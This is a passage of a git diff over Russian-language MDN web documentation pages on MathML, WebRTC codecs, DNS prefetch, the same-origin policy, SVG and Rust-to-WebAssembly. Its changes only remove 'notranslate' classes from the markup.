/ SeaMonkey 2.5).</span></p> -<p><span class="notranslate">Альтернативные текстовые описания (<code>alttext</code>) или ссылки на альтернативное изображение, (атрибуты <code>altimg</code> , <code>altimg-width</code> , <code>altimg-height</code> и <code>altimg-valign</code>) в настоящее время не реализованы в Gecko.</span></p> +<p><span>Альтернативные текстовые описания (<code>alttext</code>) или ссылки на альтернативное изображение, (атрибуты <code>altimg</code> , <code>altimg-width</code> , <code>altimg-height</code> и <code>altimg-valign</code>) в настоящее время не реализованы в Gecko.</span></p> -<h2 id="Specifications"><span class="notranslate">Спецификации</span></h2> +<h2 id="Specifications"><span>Спецификации</span></h2> <table class="standard-table"> <thead> <tr> - <th scope="col"><span class="notranslate">Спецификация</span></th> - <th scope="col"><span class="notranslate">Статус</span></th> - <th scope="col"><span class="notranslate">Комментарий</span></th> + <th scope="col"><span>Спецификация</span></th> + <th scope="col"><span>Статус</span></th> + <th scope="col"><span>Комментарий</span></th> </tr> </thead> <tbody> <tr> - <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML3/chapter2.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 3.0</a></span></td> - <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td> - <td><span class="notranslate">Текущая спецификация</span></td> + <td><span><a class="external external-icon" href="http://www.w3.org/TR/MathML3/chapter2.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 3.0</a></span></td> + <td><span><span class="spec-REC">Рекомендация</span></span></td> + <td><span>Текущая спецификация</span></td> </tr> <tr> - <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML2/chapter7.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 2.0</a></span></td> - <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td> - <td><span class="notranslate">Начальная спецификация</span></td> + <td><span><a class="external external-icon" href="http://www.w3.org/TR/MathML2/chapter7.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 2.0</a></span></td> + <td><span><span class="spec-REC">Рекомендация</span></span></td> + <td><span>Начальная спецификация</span></td> </tr> </tbody> </table> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> - <li><span class="notranslate">HTML-элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html" title="HTML <HTML> Элемент (или HTML корневой элемент) представляет собой корень из HTML или документа XHTML. Все остальные элементы должны быть потомками этого элемента."><code><html></code></a></span></li> - <li><span class="notranslate">SVG элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="Элемент SVG могут быть использованы для гнезда автономный SVG фрагмент внутри текущего документа (в том числе в HTML документе) до тех пор, SVG не является корневым элементом. Это автономный фрагмент имеет свой собственный просмотра и свою собственную систему координат."><code><svg></code></a></span></li> - <li><span class="notranslate">Тест-браузер MathML: Для <a class="external link-https external-icon" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> и <a class="external link-https external-icon" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></span></li> + <li><span>HTML-элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html" title="HTML <HTML> Элемент (или HTML корневой элемент) представляет собой корень из HTML или документа XHTML. Все остальные элементы должны быть потомками этого элемента."><code><html></code></a></span></li> + <li><span>SVG элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="Элемент SVG могут быть использованы для гнезда автономный SVG фрагмент внутри текущего документа (в том числе в HTML документе) до тех пор, SVG не является корневым элементом. Это автономный фрагмент имеет свой собственный просмотра и свою собственную систему координат."><code><svg></code></a></span></li> + <li><span>Тест-браузер MathML: Для <a class="external link-https external-icon" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> и <a class="external link-https external-icon" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></span></li> </ul> diff --git a/files/ru/web/mathml/element/mn/index.html b/files/ru/web/mathml/element/mn/index.html index 04792eb6a9..2b110c8cd3 100644 --- a/files/ru/web/mathml/element/mn/index.html +++ b/files/ru/web/mathml/element/mn/index.html @@ -65,7 +65,7 @@ translation_of: Web/MathML/Element/mn <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mn> 0 </mn> diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html index d2bfac3c4a..495ee9c634 100644 --- a/files/ru/web/mathml/element/mover/index.html +++ b/files/ru/web/mathml/element/mover/index.html @@ -41,7 +41,7 @@ translation_of: Web/MathML/Element/mover <p>Отображение в вашем браузере: <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ </mo> </mover> </math></p> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mover accent="true"> <mrow> diff --git a/files/ru/web/mathml/element/mstyle/index.html b/files/ru/web/mathml/element/mstyle/index.html index 07aa6b8e66..ce646dd55b 100644 --- a/files/ru/web/mathml/element/mstyle/index.html +++ b/files/ru/web/mathml/element/mstyle/index.html @@ -46,7 +46,7 @@ translation_of: Web/MathML/Element/mstyle <p>Использование <code>displaystyle</code> и <code>mathcolor</code> для изменения стиля макета всей суммы.</p> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mstyle displaystyle="true" mathcolor="teal"> <mrow> diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html index a7900467c8..1cba67870a 100644 --- a/files/ru/web/media/formats/webrtc_codecs/index.html +++ b/files/ru/web/media/formats/webrtc_codecs/index.html @@ -298,13 +298,13 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Существует два способа для выполнения этого. Наиболее эффективный - использовать статический метод {{domxref("RTCRtpSender.getCapabilities()")}} (или эквивалентный для принимающего узла {{domxref("RTCRtpReceiver.getCapabilities()")}} ), определяющий тип медиаданных в параметре. К примеру, для определения поддерживаемых кодеков видео применяем :</p> -<pre class="brush: js notranslate">codecList = RTCRtpSender.getCapabilities("video").codecs;</pre> +<pre class="brush: js">codecList = RTCRtpSender.getCapabilities("video").codecs;</pre> <p>Теперь массив <code>codecList</code> содержит объекты {{domxref("RTCRtpCodecCapability")}} , каждый содержащий описываемую конфигурацию кодека. Также в списке будут присутствовать записи для повторной передачи (RTX), избыточного кодирования (RED) и прямого исправления ошибок (FEC).</p> <p>Если соединение находится в процессе запуска, используем событие {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} для наблюдения за изменением статуса сборки кандидатов {{Glossary("ICE")}} и при завершении, запрашиваем список кодеков.</p> -<pre class="brush: js notranslate">let codecList = null; +<pre class="brush: js">let codecList = null; peerConnection.addEventListener("icegatheringstatechange", (event) => { if (peerConnection.iceGatheringState === "complete") { @@ -337,7 +337,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Как только получен список доступных кодеков, его можно изменить и передать этот пересмотренный список методу {{domxref("RTCRtpTransceiver.setCodecPreferences()")}} для перенастройки списка, используемых кодеков. Это изменяет порядок предпочтений кодеков, позволяя указать WebRTC на более предпочтительный кодек среди прочих .</p> -<pre class="brush: js notranslate">function changeVideoCodec(mimeType) { +<pre class="brush: js">function changeVideoCodec(mimeType) { const transceivers = peerConnection.getTransceivers(); transceivers.forEach(transceiver => { @@ -368,7 +368,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Функция <code>preferCodec()</code> вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> -<pre class="brush: js notranslate">function preferCodec(codecs, mimeType) { +<pre class="brush: js">function preferCodec(codecs, mimeType) { let otherCodecs = []; let sortedCodecs = []; let count = codecs.length; diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html index 581e91d4d2..e52364a7e5 100644 --- a/files/ru/web/performance/dns-prefetch/index.html +++ b/files/ru/web/performance/dns-prefetch/index.html @@ -17,12 +17,12 @@ translation_of: Web/Performance/dns-prefetch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: html notranslate"><link rel="dns-prefetch" href="https://fonts.gstatic.com/" > +<pre class="brush: html"><link rel="dns-prefetch" href="https://fonts.gstatic.com/" > </pre> <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> @@ -42,11 +42,11 @@ translation_of: Web/Performance/dns-prefetch <p><strong>Во-вторых,</strong> существует возможность добавить <code>dns-prefetch</code> (и другие подсказки) как <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовок</a> с помощью <a href="/en-US/docs/Web/HTTP/Headers/Link">HTTP Link field</a>:</p> -<pre class="brush: unix notranslate">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> +<pre class="brush: unix">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> <p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> -<pre class="brush: html notranslate"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> +<pre class="brush: html"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> </pre> diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html index 7fba31dc68..171e244a71 100644 --- a/files/ru/web/performance/how_browsers_work/index.html +++ b/files/ru/web/performance/how_browsers_work/index.html @@ -67,7 +67,7 @@ translation_of: Web/Performance/How_browsers_work <p>Как только мы установили соединение с веб-сервером, браузер отправляет инициирующий <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> запрос</a> от имени пользователя. Чаще всего запрашивается HTML файл. В момент, когда сервер получает запрос, он начинает ответ с посылки заголовков ответа и содержимым HTML-файла.</p> -<pre class="brush: html notranslate"><!doctype HTML> +<pre class="brush: html"><!doctype HTML> <html> <head> <meta charset="UTF-8"/> @@ -127,7 +127,7 @@ translation_of: Web/Performance/How_browsers_work <p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> -<pre class="brush:html notranslate"><link rel="stylesheet" src="styles.css"/> +<pre class="brush:html"><link rel="stylesheet" src="styles.css"/> <script src="myscript.js" <strong>async</strong>></script> <img src="myimage.jpg" alt="image description"/> <script src="anotherscript.js" <strong>async</strong>></script> diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html index 2789f844a9..9e2a1f3bca 100644 --- a/files/ru/web/security/same-origin_policy/index.html +++ b/files/ru/web/security/same-origin_policy/index.html @@ -77,7 +77,7 @@ translation_of: Web/Security/Same-origin_policy <p>Страница может изменить свой оригинальный origin с некоторыми ограничениями. Скрипт может установить значение {{domxref("document.domain")}} на текущий домен или супердомен текущего домена. Если значение будет установлено на супердомен текущего домена, более короткий домен будет использован для последующей проверки origin'а. Например, предполагается, что скрипт в документе по адресу <code>http://store.company.com/dir/other.html</code> выполняется следующим выражением:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>domain <span class="operator token">=</span> <span class="string token">"company.com"</span><span class="punctuation token">;</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">document<span class="punctuation token">.</span>domain <span class="operator token">=</span> <span class="string token">"company.com"</span><span class="punctuation token">;</span></code></pre> <p>После этого, страница может пройти такую же проверку на <code>http://company.com/dir/page.html</code> (<code>предполагая, что http://company.com/dir/page.html</code> установил <code>document.domain</code> в значение "<code>company.com</code>" чтобы указать, что у него получилось разрешение - смотри {{domxref("document.domain")}}). Однако, <code>company.com</code> <strong>не может </strong>установить <code>document.domain</code> в значение <code>othercompany.com</code>, поскольку это значение не является супердоменом <code>company.com</code>.</p> diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html index 164d19361d..8daa8614cc 100644 --- a/files/ru/web/svg/attribute/id/index.html +++ b/files/ru/web/svg/attribute/id/index.html @@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute/id <p>Этот атрибут используется всеми элементами.</p> <div id="topExample"> -<pre class="brush: html notranslate"><svg width="120" height="120" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg width="120" height="120" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![CDATA[ #smallRect { diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html index 9095af8798..0fdb427af1 100644 --- a/files/ru/web/svg/attribute/lang/index.html +++ b/files/ru/web/svg/attribute/lang/index.html @@ -16,7 +16,7 @@ translation_of: Web/SVG/Attribute/lang <p>Все элементы используют этот атрибут.</p> <div id="topExample"> -<pre class="brush: html; highlight[2] notranslate"><svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html; highlight[2]"><svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-US">This is some English text</text> </svg></pre> </div> diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html index 2589efe86a..7527b08708 100644 --- a/files/ru/web/svg/attribute/viewbox/index.html +++ b/files/ru/web/svg/attribute/viewbox/index.html @@ -13,7 +13,7 @@ translation_of: Web/SVG/Attribute/viewBox <div id="topExample"> <div class="hidden"> -<pre class="notranslate">html, body, svg { +<pre>html, body, svg { height:100% } @@ -22,7 +22,7 @@ svg:not(:root) { }</pre> </div> -<pre class="brush: html notranslate"><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- С относительными единицами, такими как проценты, размер квадрата не меняется в зависимости от diff --git a/files/ru/web/svg/element/g/index.html b/files/ru/web/svg/element/g/index.html index 1486c95b64..3cbacef21b 100644 --- a/files/ru/web/svg/element/g/index.html +++ b/files/ru/web/svg/element/g/index.html @@ -17,7 +17,7 @@ original_slug: Web/SVG/Элемент/g <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"><svg viewBox="0 0 95 50" +<pre class="brush: html"><svg viewBox="0 0 95 50" xmlns="http://www.w3.org/2000/svg"> <g stroke="green" fill="white" stroke-width="5"> <circle cx="25" cy="25" r="15"/> diff --git a/files/ru/web/svg/element/image/index.html b/files/ru/web/svg/element/image/index.html index 4f134d6d93..44be180a68 100644 --- a/files/ru/web/svg/element/image/index.html +++ b/files/ru/web/svg/element/image/index.html @@ -52,7 +52,7 @@ original_slug: Web/SVG/Элемент/image <h3 id="SVG">SVG</h3> -<pre class="brush: html notranslate"><svg width="200" height="200" +<pre class="brush: html"><svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> diff --git a/files/ru/web/svg/element/svg/index.html b/files/ru/web/svg/element/svg/index.html index 0df5ad83a6..604a2d96f2 100644 --- a/files/ru/web/svg/element/svg/index.html +++ b/files/ru/web/svg/element/svg/index.html @@ -14,10 +14,10 @@ original_slug: Web/SVG/Элемент/svg <div id="Exeemple"> <div class="hidden"> -<pre class="brush: css notranslate">html,body,svg { height:100% }</pre> +<pre class="brush: css">html,body,svg { height:100% }</pre> </div> -<pre class="brush: html; highlight[4] notranslate"><svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> +<pre class="brush: html; highlight[4]"><svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html index 4523cbace6..f79f805d60 100644 --- a/files/ru/web/svg/tutorial/basic_transformations/index.html +++ b/files/ru/web/svg/tutorial/basic_transformations/index.html @@ -9,7 +9,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Теперь мы готовы начать изменять наши замечательные изображения. Но сначала давайте ознакомимся с {{SVGElement("g")}} элементом. С его помощью вы можете назначить свойства для любого набора элементов. На самом деле, в этом и состоит его единственная цель. Например:</p> <div id="two_blocks"> -<pre class="brush: html notranslate"><svg width="30" height="10"> +<pre class="brush: html"><svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> @@ -26,7 +26,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется <code>translate()</code>.</p> -<pre class="brush: html notranslate"><svg width="40" height="50" style="background-color:#bff;"> +<pre class="brush: html"><svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> </pre> @@ -41,7 +41,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Вращение элементов - это достаточно типичная задача. Используйте <code>rotate()</code> для этого:</p> -<pre class="brush: html notranslate"><svg width="31" height="31"> +<pre class="brush: html"><svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg> </pre> @@ -70,7 +70,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> -<pre class="brush: html notranslate"><svg width="100" height="100"> +<pre class="brush: html"><svg width="100" height="100"> <g transform="scale(2)"> <rect width="50" height="50" /> </g> @@ -85,7 +85,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>В отличие от HTML, SVG позволяет встраивать другие <code>svg</code> элементы без разрыва. Таким образом вы можете запросто создать новую координатную систему используя <code>viewBox</code>, <code>width</code> и<code>height</code> внутреннего <code>svg</code> элемента.</p> -<pre class="brush: html notranslate"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> +<pre class="brush: html"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewBox="0 0 50 50"> <rect width="50" height="50" /> </svg> diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html index d125016c73..76d965fc45 100644 --- a/files/ru/web/svg/tutorial/gradients/index.html +++ b/files/ru/web/svg/tutorial/gradients/index.html @@ -15,7 +15,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Basic_example">Basic example</h3> -<pre class="brush: html notranslate"><svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <linearGradient id="Gradient1"> <stop class="stop1" offset="0%"/> @@ -44,20 +44,20 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Выше находится пример линейного градиента, который применён к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> -<pre class="eval notranslate"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> +<pre class="eval"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> </pre> <p>Чтобы использовать градиент, мы должны сослаться на него из атрибутов объекта <code>fill/stroke</code>. Это делается таким же образом, как вы ссылаетесь на элементы в CSS, используя <code>url</code>. В этом случае, url - это просто ссылка на наш градиент, которому задан уникальный ID, "<em>Gradient". </em>Чтобы добавить его, установим <code>fill="url(#Gradient)"</code>. Наш объект теперь многоцветный. То же самое можно сделать с атрибутом <code>stroke</code>.</p> <p>Элемент <code><linearGradient></code> также принимает некоторые другие атрибуты, который определяют размер и внешний вид градиента. Направление градиента контролируется двумя точками, обозначенными атрибутами <code>x1, x2, y1, y2</code>. Эти атрибуты определяют линию, вдоль которой двигается градиент. По умолчанию градиент имеет горизонтальную ориентацию, но это может быть изменено с помощью этих атрибутов. Gradient2 в примере выше предназначен для создания вертикального градиента.</p> -<pre class="eval notranslate"> <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> +<pre class="eval"> <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> </pre> <div class="note"> <p><strong>Замечание: </strong>Вы также можете использовать атрибут <code>xlink:href </code>для градиентов. Когда он использован, атрибуты и стопы из одного градиента могут быть включены в другой. В примере выше можно было бы не пересоздавать все точки остановки в Gradient2<strong>.</strong></p> -<pre class="eval notranslate"> <linearGradient id="Gradient1"> +<pre class="eval"> <linearGradient id="Gradient1"> <stop id="stop1" offset="0%"/> <stop id="stop2" offset="50%"/> <stop id="stop3" offset="100%"/> @@ -75,7 +75,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Basic_example_2">Basic example</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <radialGradient id="RadialGradient1"> @@ -101,7 +101,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Center_and_focal_point">Center and focal point</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg"> @@ -132,7 +132,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="spreadMethod">spreadMethod</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> @@ -170,7 +170,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>У обоих типов градиентов также есть атрибут <code><strong>gradientUnits</strong></code>, который описывает систему измерений, которую вы собираетесь использовать, когда описываете размеры или ориентацию или градиент. Данный атрибут принимает 2 возможных значения: <strong><code>userSpaceOnUse</code></strong><code> </code>или <strong><code>objectBoundingBox </code></strong>(дефолтное, показывалось во всех примерах выше). <strong><code>objectBoundingBox </code></strong>автоматически адаптирует градиент к размеру объекта, так что вы можете указать координаты в виде значений от 0 до 1, и браузер автоматически их отпозиционирует. <strong><code>userSpaceOnUse </code></strong>позиционирует градиент в абсолютных единицах измерения, так что вам необходимо знать где находится целевой объект, чтобы правильно применить к нему градиент. radialGradient выше может быть переписан:</p> -<pre class="eval notranslate"> <radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"> +<pre class="eval"> <radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"> </pre> <p>Вы также можете применить иную трансформацию к градиенту, используя атрибут <strong><code>gradientTransform</code></strong>, но мы пока что <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">его не изучали</a>, я оставлю это на потом.<br> diff --git a/files/ru/webassembly/rust_to_wasm/index.html b/files/ru/webassembly/rust_to_wasm/index.html index 1f2d6d644d..52f6a6c75b 100644 --- a/files/ru/webassembly/rust_to_wasm/index.html +++ b/files/ru/webassembly/rust_to_wasm/index.html @@ -36,7 +36,7 @@ translation_of: WebAssembly/Rust_to_wasm <p>Чтобы собрать наш пакет, вам понадобится дополнительный инструмент, <code>wasm-pack</code>. Он поможет нам скомпилировать наш код в WebAssembly и создаст правильный контейнер для нашего пакета для <code>npm</code>. Чтобы скачать и установить, введите в терминале следующую команду:</p> -<pre class="brush: bash notranslate"><code class="shell language-shell">$ cargo install wasm-pack +<pre class="brush: bash"><code class="shell language-shell">$ cargo install wasm-pack </code></pre> <h3 id="Установка_Node.js_и_получение_npm-аккаунта">Установка Node.js и получение npm-аккаунта</h3> @@ -49,7 +49,7 @@ translation_of: WebAssembly/Rust_to_wasm <p>Дальше запустите в командой строке <code>npm adduser</code>:</p> -<pre class="brush: bash notranslate"><code class="rust language-rust">> npm adduser +<pre class="brush: bash"><code class="rust language-rust">> npm adduser Username: yournpmusername Password: Email: (this IS public) you@example.com @@ -57,7 +57,7 @@ Email: (this IS public) you@example.com <p>Вам понадобится ввести своё пользовательское имя, пароль и email. Если все получится, вы увидите:</p> -<pre class="brush: bash notranslate"><code>Logged in as yournpmusername on https://registry.npmjs.org/. +<pre class="brush: bash"><code>Logged in as yournpmusername on https://registry.npmjs.org/. </code></pre> <p>Если что-то пойдёт не так, свяжитесь с командой npm, чтобы разобраться.</p> @@ -66,13 +66,13 @@ Email: (this IS public) you@example.com <p>Хватит установок, давайте создадим новый пакет на Rust. Перейдите в любое место, где вы держите свои личные проекты, и сделайте следующее:</p> -<pre class="brush: bash notranslate"><code class="shell language-shell">$ cargo new --lib hello-wasm +<pre class="brush: bash"><code class="shell language-shell">$ cargo new --lib hello-wasm Создаст проектную библиотеку `hello-wasm` </code></pre> <p>Это создаст новую библиотеку в под-директории, называемой <code>hello-wasm</code>, со всем, что вам нужно:</p> -<pre class="notranslate"><code class="shell language-shell">+-- Cargo.toml +<pre><code class="shell language-shell">+-- Cargo.toml +-- src +-- lib.rs </code></pre> @@ -81,7 +81,7 @@ Email: (this IS public) you@example.com <p>Дальше, Cargo сгенерировал кое-какой код для нас на Rust в <code>src/lib.rs</code>:</p> -<pre class="notranslate"><code class="rust language-rust">#[cfg(test)] +<pre><code class="rust language-rust">#[cfg(test)] mod tests { #[test] fn it_works() { @@ -96,7 +96,7 @@ mod tests { <p>Вместо этого поместите этот код в <code>src/lib.rs</code>:</p> -<pre class="notranslate"><code class="rust language-rust">extern crate wasm_bindgen; +<pre><code class="rust language-rust">extern crate wasm_bindgen; use wasm_bindgen::prelude::*; @@ -117,7 +117,7 @@ pub fn greet(name: &str) { <p>Первая часть выглядит вот так:</p> -<pre class="notranslate"><code class="rust language-rust">extern crate wasm_bindgen; +<pre><code class="rust language-rust">extern crate wasm_bindgen; use wasm_bindgen::prelude::*; </code></pre> @@ -138,7 +138,7 @@ use wasm_bindgen::prelude::*; <p>Следующая часть выглядит так:</p> -<pre class="notranslate"><code class="rust language-rust">#[wasm_bindgen] +<pre><code class="rust language-rust">#[wasm_bindgen] extern { pub fn alert(s: &str); } @@ -156,7 +156,7 @@ extern { <p>Финальная часть следующая:</p> -<pre class="notranslate"><code class="rust language-rust">#[wasm_bindgen] +<pre><code class="rust language-rust">#[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("Hello, {}!", name)); } @@ -176,7 +176,7 @@ pub fn greet(name: &str) { <p>Чтобы правильно скомпилить наш код, сначала нам надо сконфигурировать его с помощью <code>Cargo.toml</code>. Откройте этот файл и измените его так, чтобы он выглядел следующим образом:</p> -<pre class="notranslate"><code class="toml language-toml">[package] +<pre><code class="toml language-toml">[package] name = "hello-wasm" version = "0.1.0" authors = ["Your Name <you@example.com>"] @@ -201,7 +201,7 @@ wasm-bindgen = "0.2" <p>Теперь, когда мы все установили, давайте соберём проект! Введите это в терминале:</p> -<pre class="brush: bash notranslate"><code class="shell language-shell">$ wasm-pack build --scope mynpmusername +<pre class="brush: bash"><code class="shell language-shell">$ wasm-pack build --scope mynpmusername </code></pre> <p>Здесь мы сделали несколько вещей (и они займут много времени, особенно если вы запустили <code>wasm-pack</code> впервые). Чтобы изучить их детальней, прочитайте <a href="https://hacks.mozilla.org/2018/04/hello-wasm-pack/">этот блог-пост на Mozilla Hacks</a>. Вкратце, <code>wasm-pack build</code>:</p> @@ -224,7 +224,7 @@ wasm-bindgen = "0.2" <p>Давайте опубликуем наш новый пакет на npm:</p> -<pre class="brush: bash notranslate"><code class="shell language-shell">$ cd pkg +<pre class="brush: bash"><code 